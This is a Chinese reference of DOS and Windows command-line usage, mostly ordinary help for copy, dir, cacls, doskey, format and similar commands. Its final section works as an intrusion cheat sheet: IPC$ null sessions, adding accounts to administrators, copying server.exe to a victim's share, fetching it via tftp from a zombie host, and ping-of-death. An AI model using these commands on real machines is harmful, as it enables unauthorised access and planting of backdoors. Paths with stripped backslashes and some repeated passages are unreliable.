copy w1.wps con/b 可以将wps文件在屏幕上显示,而不必进入wps状态 


copy ..98 将父目录下的98子目录下的所有文件全拷到当前子目录 


copy .97 当当前目录下的97子目录下文件全部拷到当前目录 


copy . c: 将当前目录下的所有文件拷到c盘根目录 


. 意味着 *.* 文件 


copy nul a.abc 将a.abc 文件清空(文件长度改为0) 


copy 文件名+con 向文本文件中追加命令或内容 


copy con 文件名 创建文本文件(F6存盘退出) 


copy con prn 检测打印机的开关 


xcopy [source] [date] [/p] [/s] [/e] [/v] [/y] 


xcopy [date] xcopy a:b: /d:08/18/98/s/v 拷贝98.08.18年后的文件 


xcopy [/p] 提示创建子目录 


xcopy [/s] 连带子目录一起拷贝. 注意:若目标盘上不存在此子目录,而在目标 


盘的结束符又不以""为结束,则将提示: 


does destination specify a file name or directory name on the target 


[f=file,d=directory]? 


在目标盘上创建文件[按下]还是创建子目录[按下d] ?应选择d键 


xcopy[/v] 带较验 


*1) xcopy 不拷贝系统和隐含文件,应先予以修改属性再拷贝 


xcopy [/y] 覆盖时是否有提示, /y 不带提示 


若省略目标盘或子目录名,则拷贝到当前目录下 


加/p 可以在删除前是否提示 


如del后加子目录名,则将子目录下所有文件(隐含.系统.只读文件除外)全删除, 


加/p则可以确认. 


不加提示地将所有满足条件的文件恢复(能够恢复的),并将首字母置成"#",若已 


存在,则按"# % & 0 1 2-9 a-z"顺序加上. 


如:undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头,作为文件 


名, /list 仅列出可恢复的文件,而不恢复 


undelete /load 将undelete装入内存 


/unload 将undelete卸出内存 


/s[drive]对指定驱动器进行监测管理 


undelete/sc 


将 undelete驻留内存,?并创建一个隐含的sentry 子目录对c盘删除的文件进行 


管理 undelete/ds 恢复 


相应恢复命令可以用undelete即可完整恢复出文件名(非常完整) 


最常用undelete *.* 


deltree /y [driveath] 


deltree 删除子目录及文件,尽管有些文件是系统文件或隐含文件 


它可以带有通配符,带有通配符时,它将删除符合条件的文件及子目录 


如:?undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头作为文件 


名. 


/list 仅列出可恢复的文件,而不作恢复操作. 


undelete/load 将undelete 装入内存. 


/unload将undelete 卸出内存. 


/s[drive] 对指定的驱动器进行监视管理. 


undelete/sc 将undelete 驻留内存,并创建一个隐含的sentry子目录对C盘删除 


的文件进行管理.相应恢复命令可以用undelete/ds 即可完整恢复出文件名(很完善). 


最常用的是undelete *.* 


deltree 删除子目录及文件,尽管有些文件是系统或隐含的. 


它可以带有通配符,这时它将删除符合条件的文件或子目录. 


如:存在L1文件,L2子目录,L3文件,L4子目录 


deltree L*.* 将删除以上所有的文件和子目录,但在删除前加以确认,若不删除, 


可以输入"N". 


/y 参数是在删除时不加以确认就进行操作的. 


它删除的文件可以用undelete恢复,?但不能恢复子目录及其下的文件,可以用特 


殊工具.如NORTON 8.0 等. 


若提前使用了undelete/s,?则可以在sentry子目录下找到完整的文件,但名已经 


改变了. 


记录以前敲过的dos命令,可以用F7来显示,用"↑↓"来选择,用F9来输入 


选择的命令号. 


doskey/restall 重新装入一次,以前的命令行撤消. 


doskey/history 显示内存中所有的命令,可以">"显示到其它文件中,缩写"/H". 


doskey dir=cls 则击入dir等同于cls一样. 


doskey/macros 可显示所有的宏定义,可使用">"重定义到文件中,可缩写"/M". 


doskey dir= 可撤消对dir 的宏定义. 


doskey p=dir$tdir*.exe/p$tdir c: $tdir c: $* 


$t为命令的区分符,而$*为命令的结束符 


doskey/insert(overstrike)?在重新输入命令时,对旧命令的修改是插入还是覆 


盖状态(默认). 


提供对扩展内存的管理,使应用程序象使用常规内存一样能够使用它. 


常见的用法是 在config.sys 中 


device=c:doshimem.sys 


device=c:dosemm386.exe ram 


d=64 将DMA 内存数量设置为64K 


noems 提供对上位内存的访问,但不提供对扩展内存的访问. 


应注意的是在windows中最好不要用它,因为windows本身有对扩展内存进行管理 


的程序.应采用windows中的管理器. 


命令 fc/b dt.dat dt2.dat>b (作二进制代码比较) 


比较两个文件,一般用作存取进度,修改游戏存储文件用. 


实际代码位置应加上0100 如:0000 05E4:00 67 


实际用debug -e 修改时应加上0100 即 0000 06E4:00 67 


后面加上重定向文件">P" 可以将比较结果输出到p文件中.


/q /u /s /n:sectors /f:size /c 


/q参数:快速格式化,仅扫描文件分配表和根目录区,仅对格式化过的磁盘有效. 


使用时应确保格式化过后没有增加新的坏道. 


/u参数:无条件格式化,并且不保存原来盘上的信息,可以防止"unformat". 


/s参数:格式化为系统盘,也可以使用"sys"命令. 


/f:size size 可以为160 180 320 360 720 1200 1440 2800 


/n:sector n可以为1 格式为单面盘,容量为160k 180k 


可以为4 可以在5寸高密驱动器上格式化360k磁盘 


可以为8 可以在5寸高密驱动器上进行8个扇区的格式化. 


/c 重新测试坏扇区,缺省时如果一个扇区标记为"坏",以后格式时就不在从新测 


试,仅作标记,使用"/C"时可以从新测试. 


对用format 格式过,且未用"/u"参数的命令起作用,用它可以来重新修复已经损 


坏的硬盘分区表,但对网络盘不起作用. 


unformat drive:[/l][/test][/p] 


/l 显示每一个被unformat发现的文件和子目录,如果没有这个开关,只显示那些 


破碎的文件和子目录,可以用ctrl+s 暂停,按任意键继续. 


/test 仅作一个测试,不作实际的修复工作,作模拟过程. 


/p 一边测试一边打印. 


注:这种方法不能保证修复所有的文件,尤其是格式化后又添加过数据的磁盘. 


恢复后的文件依次存放在subdir1....2....3等子目录中. 




十五、interlnk 语法 interlnk g=e ,它可以通过串口或并口在两机间进行通讯. 


将服务器端上的e驱动器映射为客户端的g驱动器,以后对客户端而言,所有对g的 


操作都意味着对服务器的访问,取消映射的办法为interlnk g= 


单独输入interlnk 则显示所有的映射情况. 


注意:interlnk 必须在装入interlnk.exe 设备驱动程序才可以使用. 


所用的驱动器符号与config.?sys中lastdrv.exe设置的数目有关.可以作一个一 


端为25针,另一端为9针的串行线实现,具体接线方式如下: 


5 - 7 2 - 15 


3 - 2 3 - 13 


7 - 4 4 - 12 


6 - 6 5 - 10 


3 - 3 6 - 11 


8 - 5 15 - 2 


4 - 20 13 - 3 


9针 25针 12 - 4 


10 - 5 


11 - 6 


25 - 25 


25针 25针 


interlnk.exe 重新定向对于客户驱动器或打印接口的请求到另外的服务器驱动 


器或打印机. 


语法:config.sys 中加入: 


device=c:dosinterlnk.exe [drive:n][/noprinter][com][lpt] 


使用memmaker能够优化内存配置,?并将配置写入autoexec.bat和config.sys中. 


在这一过程中,需要重新启动几次机器. 


submenu 菜单选项include 


autoexec.bat 中如下: config.sys中如下: 


path c:dos;c:ucdos [menu] 


doskey menucolor=15,1(前景色15,背景色1) 


mousemouse menuitem=base_config,this is a base 


goto %config% ->选择项 menuitem=cced_config,this is a cced 


选项 提示 


:base_config menudefault=base_config,5 


goto exit ->跳出 缺省为base_config,延迟时间5秒 


:cced_config [common] 


c:dossmartdrv.exe /l device=c:doshimem.sys 


goto exit 各项都包含的共同部分 


:exit ->结束 [base_config] 


device=c:dosemm386.exe ram 


dos=high,umb 


[cced_config] 


device=c:dossmartdrv.exe/double_buffer 


include=base_config 包含base_config设置 


可以根据计算机的在不同情况下的配置要求来选择. 


mscdex/drive [/Drive][/e][/k][/s][/l:letter] 


典型:config.sys 中device=c:cdromcdrom.sys /d:mscd000 


autoexec.bat中 c:dosmscdex /d:mscd000 /l:g 


配置了一个光驱,符号为g 


参数/drive1为光驱身份号,须与config.sys中的符号一致,可有多个 


/d:mscd000 /d:mscd001 


/e:使用扩展内存装入光驱驱动程序. 


/s:使光驱在ms_net或windows是否设置为共享光驱 


/V是否在加载时显示内存. 


/L:letter 分配给光驱的盘符 


/m:number 指定缓冲器的数目 


应该注意的是:?如果用smartdrv.exe 加速对光驱的读写能力,应该在autoexec. 


bat中将mscdex.?exe 写在smartdrv.exe 之前,smartdrv.exe的使用可大幅提高 


对驱动器的读写能力. 


使用msd 可以整体检查计算机配置及系统信息 


包括:?驱动器参数,计算机cpu参数,内存大小参数,显示器类型,串.并口情况,以 


及各个IRQ占用情况,据此可以分析新增设备是否与原来设备有冲突. 


同时也可以通过分析内存驻留程序,判断内存中是否有病毒,有则标为"???". 


$q 等于号 $t 当前时间 $d 当前日期 $p 当前驱动器符号 


$$ $号提示 $n当前驱动器 $g 大于号 $l小于号 $b 显示"|"管道号 


$h 隐去提示符 $E显示"<-"号 


对于其它文字,则直接显示文本本身prompt ljw,则显示为ljw提示符 


prompt 则仅显示当前驱动器号及大于号. 


应注意,所有数据都存在于内存中,应及时将其存到硬盘中,否则掉电后或者死机 


后将丢失全部数据,优点是运行速度快,但不能在windows中使用. 


示例:config.sys: device=c:dos amdrive.sys /size[/e|a] 


size为以k为单位的字节数,即建立的虚拟盘的大小. 


/e或/a 都是使用扩展内存来建立虚拟盘,?加参数的前提是必须先加载内存管理 


器himem.sys及emm386.exe. 


如:将对A:l1l2 子目录的请求映射为S盘,则输入 


subst s: a:l1l2 即可 


这样使用dir s:?等命令则显示的是a:l1l2子目录下的内容,其它copy del 一样 


可以用subst s: d 来取消这种映射. 


可以用subst 来显示各种联接情况 


注意:?可以采用subst a: c:a 来建立一个对于A的读写盘.对于某些安装软件 


来说,?必须使用A盘来安装,就可以使用先将所要安装的软件全部拷贝到C:a子 


目录中,然后输入subst a: c:a,再转到A:,就可以进行软件的安装了. 


/c显示所有内存驻留程序的占用情况,分为conventional常规内存和uppermemory 


高端内存占用,并显示总的占用情况(常规 高端 保留 扩展内存) 


/p分页显示,页间暂停 


/m后加模块名 如:/m msdos 显示dos系统内存的占用. 


/d对常规 高端 保留 扩展内存加以详细例表说明 


通过分析,可以看出内存占用是否合理,以及各种程序是否正常加载,从而在此基 


础上使用内存优化工具memmaker进行各种管理,同时又可以分析出一些程序死机 


的原因,若有的地方显示"???",则可以断定内存中有病毒的存在,有利于发现及消灭. 


"> < >> <<" 


将各种命令造成的输出或所需要的输入重新定向 


如ir *.bat /b>p 可以将dir *.bat 例出的文件名输出到p文件中. 


time<p>>p.bat 


p文件中仅存在一个回车符,则可以将时间追加进p.bat文件中 


"> >>" 是将命令产生的输出重新定向,比如到文件或打印机中. 


>>产生的内容将追加进文件中,>则将原文件内容覆盖. 


"< <<" 是将命令所需要输入的内容重新定向. 


如:time<p 在批中可以是时间代码或回车符,可以以此改变时间. 


需要说明的是 "prn "为打印机, "null"为空设备 


con 为显示器 


type p.bat>prn 可将p.bat打印出来. 


copy null p 可将p文件删除掉 


copy con p 可以在屏幕上编辑p文件,F6可以存盘退出 


type p>pp 完成p文件到pp 的复制 


type p|more 可在屏满时暂停显示 


move [y/-y] filename1 filename2 


将文件1移动到文件2处 


如:move c:dos*.* c:cced 


将dos子目录下的所有文件全部移动到cced 子目录下 


/y|-y参数在目标目录不存在需要创建时,是否出现提示 


可以使用该命令修改子目录名称,如 move dos cced 


将dos目录名改为cced 


指定一些特殊数据文件的存放位置,如user.dat pe2.pro等一些非*. 


exe *.com *.bat 文件 


格式:append [:]终止以前存在的指定目录 append 显示指定情况 


append [path] append c:user 等 


call 在一个批处理命令中调用另外一个批处理文件 


(1)不终止现有文件的运行,执行完掉用程序后立即返回. 


(2)被调用批处理命令必须以bat 为扩展名 


(3)调用批处理文件时,可以加上参数(%1-%9)以及环境变量如%baud% 


(4)不能使用管道工具及重定向工具 


device 将指定的设备驱动程序装入内存中 


devicehigh将指定的设备驱动程序装入高端内存中 


loadhigh 将指定的设备驱动程序装入高端内存中 


legend(传奇) optimize(优化) elapse(逝去) fragment(碎片) 


该命令执行对指定的盘进行优化处理(包括检查文件分配表,各文件状态,纠正错误), 


在执行时,可按照文件名大小,时间,扩展名对文件进行排序.


DIR [drive:][path][filename] [/A[[:]attributes]] [/B] [/C] [/D] [/L]

  [/O[[:]sortorder]] [/P] [/Q] [/S] [/T[[:]timefield]] [/W] [/X] [/4


  [drive:][path][filename]

              指定要列出的驱动器、目录和/或文件。


  /A          显示具有指定属性的文件。

  attributes   D  目录                R  只读文件

               H  隐藏文件            A  准备存档的文件

               S  系统文件            -  表示“否”的前缀

  /B          使用空格式(没有标题信息或摘要)。

  /C          在文件大小中显示千位数分隔符。这是默认值。用 /-C 来

              停用分隔符显示。

  /D          跟宽式相同,但文件是按栏分类列出的。

  /L          用小写。

  /N          新的长列表格式,其中文件名在最右边。

  /O          用分类顺序列出文件。

  sortorder    N  按名称(字母顺序)     S  按大小(从小到大)

               E  按扩展名(字母顺序)   D  按日期/时间(从先到后)

               G  组目录优先           -  颠倒顺序的前缀

  /P          在每个信息屏幕后暂停。

  /Q          显示文件所有者。

  /S          显示指定目录和所有子目录中的文件。

  /T          控制显示或用来分类的时间字符域。

  timefield   C  创建时间

              A  上次访问时间

              W  上次写入的时间

  /W          用宽列表格式。

  /X          显示为非 8dot3 文件名产生的短名称。格式是 /N 的格式,

              短名称插在长名称前面。如果没有短名称,在其位置则

              显示空白。

  /4          用四位数字显示年


可以在 DIRCMD 环境变量中预先设定开关。通过添加前缀 - (破折号)

来替代预先设定的开关。例如,/-W。


cd

显示当前目录名或改变当前目录。


CHDIR [/D] [drive:][path]

CHDIR [..]

CD [/D] [drive:][path]

CD [..]


  ..   指定要改成父目录。


键入 CD 驱动器: 显示指定驱动器中的当前目录。

不带参数只键入 CD,则显示当前驱动器和目录。


使用 /D 命令行开关,除了改变驱动器的当前目录之外,

还可改变当前驱动器。


如果扩展命令名被启用,CHDIR 会如下改变:


当前的目录字符串会被转换成使用磁盘名上的大小写。所以,

如果磁盘上的大小写如此,CD  C : TEMP 会将当前目录设为

C:Temp。


CHDIR 命令不把空格当作分隔符,因此有可能将目录名改为一个

带有空格但不带有引号的子目录名。例如:


     cd winntprofilesusernameprogramsstart menu


与下列相同:


     cd "winntprofilesusernameprogramsstart menu"


在扩展功能停用的情况下,您必须键入以上命令。


创建目录。


MKDIR [drive:]path

MD [drive:]path


如果命令扩展名被启用,MKDIR 会如下改变:


如果需要,MKDIR 会在路径中创建中级目录。例如: 假设 a 不

存在,那么:


    mkdir acd


与:


    mkdir a

    chdir a

    mkdir b

    chdir b

    mkdir c

    chdir c

    mkdir d


相同。如果扩展名被停用,则需要键入 mkdir acd。


删除一个目录。


RMDIR [/S] [/Q] [drive:]path

RD [/S] [/Q] [drive:]path


    /S      除目录本身外,还将删除指定目录下的所有子目录和

            文件。用于删除目录树。


    /Q      安静模式,带 /S 删除目录树时不要求确认



将一份或多份文件复制到另一个位置。


COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/

     [+ source [/A | /B] [+ ...]] [destination [/A | /B]


  source       指定要复制的文件。

  /A           表示一个 ASCII 文本文件。

  /B           表示一个二进位文件。

  /D           允许解密要创建的目标文件

  destination  为新文件指定目录和/或文件名。

  /V           验证新文件写入是否正确。

  /N           复制带有非 8dot3 名称的文件时,

               尽可能使用短文件名。

  /Y           不使用确认是否要改写现有目标文件

               的提示。

  /-Y          使用确认是否要改写现有目标文件

               的提示。

  /Z           用可重新启动模式复制已联网的文件。


命令行开关 /Y 可以在 COPYCMD 环境变量中预先设定。

这可能会被命令行上的 /-Y 替代。除非 COPY

命令是在一个批文件脚本中执行的,默认值应为

在改写时进行提示。


要附加文件,请为目标指定一个文件,为源指定

数个文件(用通配符或 file1+file2+file3 格式)。


显示或更改文件属性。


ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [

/D]]


  +   设置属性。

  -    清除属性。

  R   只读文件属性。

  A   存档文件属性。

  S   系统文件属性。

  H   隐藏文件属性。

  [drive:][path][filename]

      指定要处理的文件属性。

  /S  处理当前文件夹及其子文件夹中的匹配文件。

  /D  也处理文件夹。



以图形显示驱动器或路径的文件夹结构。


TREE [drive:][path] [/F] [/A]


   /F   显示每个文件夹中文件的名称。

   /A   使用 ASCII 字符,而不使用扩展字符。




我知道的一些命令


ASSOC    显示或修改文件扩展名关联。

AT       计划在计算机上运行的命令和程序。

ATTRIB   显示或更改文件属性。

BREAK    设置或清除扩展式 CTRL+C 检查。

CACLS    显示或修改文件的访问控制列表(ACLs)。

CALL     从另一个批处理程序调用这一个。

CD       显示当前目录的名称或将其更改。

CHCP     显示或设置活动代码页数。

CHDIR    显示当前目录的名称或将其更改。

CHKDSK   检查磁盘并显示状态报告。

CHKNTFS  显示或修改启动时间磁盘检查。

CLS      清除屏幕。

CMD      打开另一个 Windows 命令解释程序窗口。

COLOR    设置默认控制台前景和背景颜色。

COMP     比较两个或两套文件的内容。

COMPACT  显示或更改 NTFS 分区上文件的压缩。

CONVERT  将 FAT 卷转换成 NTFS。您不能转换

         当前驱动器。

COPY     将至少一个文件复制到另一个位置。

DATE     显示或设置日期。

DEL      删除至少一个文件。

DIR      显示一个目录中的文件和子目录。

DISKCOMP 比较两个软盘的内容。

DISKCOPY 将一个软盘的内容复制到另一个软盘。

DOSKEY   编辑命令行、调用 Windows 命令并创建宏。

ECHO     显示消息,或将命令回显打开或关上。

ENDLOCAL 结束批文件中环境更改的本地化。

ERASE    删除至少一个文件。

EXIT     退出 CMD.EXE 程序(命令解释程序)。

FC       比较两个或两套文件,并显示

         不同处。

FIND     在文件中搜索文字字符串。

FINDSTR  在文件中搜索字符串。

FOR      为一套文件中的每个文件运行一个指定的命令。

FORMAT   格式化磁盘,以便跟 Windows 使用。

FTYPE    显示或修改用于文件扩展名关联的文件类型。

GOTO     将 Windows 命令解释程序指向批处理程序

         中某个标明的行。

GRAFTABL 启用 Windows 来以图像模式显示

         扩展字符集。

HELP     提供 Windows 命令的帮助信息。

IF       执行批处理程序中的条件性处理。

LABEL    创建、更改或删除磁盘的卷标。

MD       创建目录。

MKDIR    创建目录。

MODE     配置系统设备。

MORE     一次显示一个结果屏幕。

MOVE     将文件从一个目录移到另一个目录。

PATH     显示或设置可执行文件的搜索路径。

PAUSE    暂停批文件的处理并显示消息。

POPD     还原 PUSHD 保存的当前目录的上一个值。

PRINT    打印文本文件。

PROMPT   更改 Windows 命令提示符。

PUSHD    保存当前目录,然后对其进行更改。

RD       删除目录。

RECOVER  从有问题的磁盘恢复可读信息。

REM      记录批文件或 CONFIG.SYS 中的注释。

REN      重命名文件。

RENAME   重命名文件。

REPLACE  替换文件。

RMDIR    删除目录。

SET      显示、设置或删除 Windows 环境变量。

SETLOCAL 开始批文件中环境更改的本地化。

SHIFT    更换批文件中可替换参数的位置。

SORT     对输入进行分类。

START    启动另一个窗口来运行指定的程序或命令。

SUBST    将路径跟一个驱动器号关联。

TIME     显示或设置系统时间。

TITLE    设置 CMD.EXE 会话的窗口标题。

TREE     以图形模式显示驱动器或路径的目录结构。

TYPE     显示文本文件的内容。

VER      显示 Windows 版本。

VERIFY   告诉 Windows 是否验证文件是否已正确

         写入磁盘。

VOL      显示磁盘卷标和序列号。

XCOPY    复制文件和目录树。



ASSOC    显示或修改文件扩展名关联   详解ASSOC [.ext[=[fileType]]]


  .ext      指定跟文件类型关联的文件扩展名

  fileType  指定跟文件扩展名关联的文件类型


键入 ASSOC 而不带参数,显示当前文件关联。如果只用文件扩展

名调用 ASSOC,则显示那个文件扩展名的当前文件关联。如果不为

文件类型指定任何参数,命令会删除文件扩展名的关联。



AT 命令安排在特定日期和时间运行命令和程序。

要使用 AT 命令,计划服务必须已在运行中。


AT [computername] [ [id] [/DELETE] | /DELETE [/YES]]

AT [computername] time [/INTERACTIVE]

    [ /EVERY:date[,...] | /NEXT:date[,...]] "command"


computername       指定远程计算机。 如果省略这个参数,

                     会计划在本地计算机上运行命令。

id                   指定给已计划命令的识别号。

/delete              删除某个已计划的命令。如果省略 id,

                     计算机上所有已计划的命令都会被删除。

/yes                 不需要进一步确认时,跟删除所有作业

                     的命令一起使用。

time                 指定运行命令的时间。

/interactive         允许作业在运行时,与当时登录的用户

                     桌面进行交互。

/every:date[,...]    每个月或每个星期在指定的日期运行命

                     令。如果省略日期,则默认为在每月的

                     本日运行。

/next:date[,...]     指定在下一个指定日期(如,下周四)运

                     行命令。如果省略日期,则默认为在每

                     月的本日运行。

"command"            准备运行的 Windows NT 命令或批处理

                     程序。



break

设置或清除 DOS 系统的扩展 CTRL+C 检测


这个命令是为了与 DOS 系统的兼容而保留的,在 Windows XP

里不起作用。


如果命令扩展名被启用,并且操作平台是 Windows XP,

BREAK 命令会在被调试程序调试时输入一个硬代码中断点。



cacls

显示或者修改文件的访问控制表(ACL)


CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]

               [/P user:perm [...]] [/D user [...]]

   filename      显示 ACL。

   /T            更改当前目录及其所有子目录中

                 指定文件的 ACL。

   /E            编辑 ACL 而不替换。

   /C            在出现拒绝访问错误时继续。

   /G user:perm  赋予指定用户访问权限。

                 Perm 可以是: R  读取

                              W  写入

                              C  更改(写入)

                              F  完全控制

   /R user       撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。

   /P user:perm  替换指定用户的访问权限。

                 Perm 可以是: N  无

                              R  读取

                              W  写入

                              C  更改(写入)

                              F  完全控制

   /D user       拒绝指定用户的访问。

在命令中可以使用通配符指定多个文件。

也可以在命令中指定多个用户。


缩写:

   CI - 容器继承。

        ACE 会由目录继承。

   OI - 对象继承。

        ACE 会由文件继承。

   IO - 只继承。

        ACE 不适用于当前文件/目录。


net use ipipc$ " " /user:" " 建立IPC空链接 

net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接 

net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: 

net use h: ipc$ 登陆后映射对方C:到本地为H: 

net use ipipc$ /del 删除IPC链接 

net use h: /del 删除映射对方到本地的为H:的映射 

net user 用户名 密码 /add 建立用户 

net user guest /active:yes 激活guest用户 

net user 查看有哪些用户 

net user 帐户名 查看帐户的属性 

net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数 

net start 查看开启了哪些服务 

net start 服务名  开启服务;(如:net start telnet, net start schedule) 

net stop 服务名 停止某服务 

net time 目标ip 查看对方时间 

net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 

net view 查看本地局域网内开启了哪些共享 

net view ip 查看对方局域网内开启了哪些共享 

net config 显示系统网络设置 

net logoff 断开连接的共享 

net pause 服务名 暂停某服务 

net send ip "文本信息" 向对方发信息 

net ver 局域网内正在使用的网络连接类型和信息 

net share 查看本地开启的共享 

net share ipc$ 开启ipc$共享 

net share ipc$ /del 删除ipc$共享 

net share c$ /del 删除C:共享 

net user guest 12345 用guest用户登陆后用将密码改为12345 

net password 密码 更改系统登陆密码 

netstat -a 查看开启了哪些端口,常用netstat -an 

netstat -n 查看端口的网络连接情况,常用netstat -an 

netstat -v 查看正在进行的工作 

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) 

netstat -s 查看正在使用的所有协议使用情况 

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 

ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) 

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) 

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件


del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) 

move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 

fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 

at id号 开启已注册的某个计划任务 

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 

at id号 /delete 停止某个已注册的计划任务 

at 查看所有的计划任务 

at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 

finger username @host 查看最近有哪些用户登陆 

telnet ip 端口 远和登陆服务器,默认端口为23 

open ip 连接到IP(属telnet登陆后的命令) 

telnet 在本机上直接键入telnet 将进入本机的telnet 

copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 

copy c:srv.exe ip***$ 复制本地c:srv.exe到对方的***下 

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 

copy ip***$svv.exe c: 或:copyip***$*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C: 

xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 

tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机 

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) 

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 

mem 查看cpu使用情况 

attrib 文件名(目录名) 查看某文件(目录)的属性 

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 

set 指定环境变量名称=要指派给变量的字符 设置环境变量 

set 显示当前所有的环境变量 

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 

pause 暂停批处理程序,并显示出:请按任意键继续.... 

if 在批处理程序中执行条件处理(更多说明见if命令及变量) 

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) 

call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) 

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 

echo 信息 在屏幕上显示出信息 

echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 

findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 

find 文件名 查找某文件 

title 标题名字 更改CMD窗口标题名字 

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 

prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )


ver 在DOS窗口下显示版本信息 

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) 

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 

md 目录名 创建目录 

replace 源文件 要替换文件的目录 替换文件 

ren 原文件名 新文件名 重命名文件名 

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 

type 文件名 显示文本文件的内容 

more 文件名 逐屏显示输出文件 

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= 

taskmgr 调出任务管理器 

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 

exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe 

path 路径可执行文件的文件名 为可执行文件设置一个路径。 

cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? 

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; 

regedit /e 注册表文件名 导出注册表 

cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。 

cacls 文件名 查看文件的访问用户权限列表 

REM 文本内容 在批处理文件中添加注解 

netsh 查看或更改本地网络配置情况


IIS服务命令: 

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) 

iisreset /start或stop 启动(停止)所有Internet服务 

